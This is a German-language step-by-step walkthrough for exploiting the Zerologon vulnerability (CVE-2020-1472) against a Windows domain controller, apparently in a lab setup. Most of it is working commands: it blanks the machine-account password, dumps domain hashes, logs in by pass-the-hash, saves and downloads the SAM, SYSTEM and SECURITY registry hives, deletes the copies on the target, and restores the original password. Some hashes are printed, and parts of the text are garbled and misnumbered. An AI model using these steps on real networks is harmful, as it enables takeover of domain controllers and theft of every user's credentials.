cve-2020-1472

@toc

Prinzip der Schwachstelle

Das Prinzip der Schwachstelle ist relativ komplex. Wenn Sie interessiert sind, können Sie den Artikel unter dem folgenden Link ansehen: https://www.freebuf.com/articles/system/249860.html

Ausnutzung

1. Datei impacket.dcerpc.v5.nrpc ändern

Es muss die Datei https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py verwendet werden, um die lokale nrpc-Datei zu ersetzen. Der Speicherpfad der lokalen nrpc-Datei lautet: C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py

2. Passwort des Maschinenkontos yukong$ leeren

python cve-2020-1472-exploit.py 机器账户名 ip Außerdem wird festgestellt, dass das Passwort des Maschinenkontos bereits geleert wurde. 31dc... steht für ein leeres Passwort.

So erhält man den Maschinenkontonamen bzw. den NetBIOS-Namen des Gegners:

1. net view Der Servername mit $ ist der Maschinenname, z. B. lisi$ oder yukong$.

2. nbtstat -A ip Es gibt viele Möglichkeiten, die IP des Domain Controllers zu ermitteln, zum Beispiel:
3. Nach Hosts suchen, auf denen Port 53 geöffnet ist.
4. net time liefert in der Ausgabe den Hostnamen des Domain Controllers, dann einfach ping ausführen.
5. Mit dem Befehl systeminfo den Wert im Bereich „Domäne“ anzeigen, dann ping ausführen – das ist die IP des Domain Controllers.
6. DNS des eigenen Hosts anzeigen.

3. Administrator-Passwort auslesen

python secretsdump.py test.com/[email protected] -no-pass Es zeigt sich, dass man mit dem Maschinenkonto mit leerem Passwort die Benutzer-Hashes auf dem Domain Controller auslesen kann.

4. SAM-Datei des Ziels herunterladen, um das Maschinenpasswort im nächsten Schritt wiederherzustellen

python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/[email protected] reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save

get system.save get sam.save get security.save

del /f system.save del /f sam.save del /f security.save

exit

Nach der Ausführung befinden sich die heruntergeladenen Dateien in dem Ordner, in dem sich das wmiexec-Skript befindet:

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/[email protected] -use-vss Die Ausführung dieses Befehls schlägt fehl.

5. SAM-Datei knacken, um das frühere Maschinenpasswort anzuzeigen

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL Speichern Sie das im roten Kreis markierte Passwort. Dies ist das frühere Maschinenpasswort, nämlich aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a.

6. Maschinenpasswort für yukong$ zurücksetzen

python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a

7. Prüfen, ob das Passwort erfolgreich wiederhergestellt wurde

python secretsdump.py test.com/administrator:[email protected] -just-dc-user yukong$ python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/[email protected] -just-dc-user yukong$ Die Wiederherstellung war erfolgreich.